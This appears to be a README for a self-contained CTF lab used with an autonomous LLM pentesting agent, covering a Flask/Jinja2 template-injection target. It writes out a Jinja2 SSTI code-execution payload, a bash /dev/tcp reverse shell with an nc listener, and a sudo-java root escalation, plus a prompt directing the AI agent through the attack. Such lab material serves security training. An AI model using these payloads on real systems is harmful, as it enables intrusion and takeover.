Autonomous OODA-loop pentesting agent. Hermes brain, Kali + Playwright tools over MCP, ATT&CK as the Orient language.
Python ai-agentsautonomous-agentskali-linuxllm-agentsoffensive-securityooda-looppentestingplaywrightsecurity
Lab — Pinguinazo SSTI (Flask/Jinja2 + Reverse Shell)
Inspired by the Pinguinazo machine from dockerlabs.es
(© El Pingüino de Mario). Reimplemented as a self-contained lab integrated
into the vulnerator-ai_default network so the kali container can both
attack the target and receive the reverse shell.
Authorized use only. Run exclusively in a controlled local environment.
Attack path
SSTI (Jinja2) → RCE → reverse shell to kali → sudo java → root → /root/flag.txt
| Phase | Technique | Detail |
|---|---|---|
| Recon | nmap | Port 5000/tcp · Werkzeug/Flask |
| Enumeration | browser / curl | Flask form — input reflected without sanitisation |
| Exploitation | SSTI Jinja2 | {{cycler.__init__.__globals__.os.popen('id').read()}} |
| Foothold | Reverse shell | SSTI payload → bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 |
| PrivEsc | sudo java | sudo java + Shell.java compiled on target → root |
| Flag | cat | /root/flag.txt |
Key detail — reverse shell routing
The target connects back to the kali container IP on the
vulnerator-ai_default network (not the host IP). The agent must discover
kali's IP first:
# From inside kali (mcp_kali_kali_run):
hostname -I
# Returns something like: 172.21.0.x
Then the reverse shell payload uses that IP:
bash -c 'bash -i >& /dev/tcp/172.21.0.x/4444 0>&1'
The listener runs via kali_exec (background, async):
nc -nlvp 4444
Build and start
# Vulnerator-AI stack must be up first (creates vulnerator-ai_default network)
cd /path/to/vulnerator-ai && docker compose up -d
# Start the lab
cd labs/pinguinazo-ssti
docker compose up -d --build
Engagement prompt
Inicio engagement autorizado.
Target: pinguinazo-ssti
Modo: ctf
Acceso inicial: ninguno — servicio web en puerto 5000.
Objetivo: obtener shell como root y leer /root/flag.txt.
Entorno: laboratorio local aislado, propiedad del operador. Target autorizado.
El target corre en un contenedor conectado a la misma red que la Kali.
Para el reverse shell usa la IP de la Kali en la red Docker (hostname -I).
Comienza el bucle OODA.
Stop
docker compose down
docker image rm pinguinazo-ssti:lab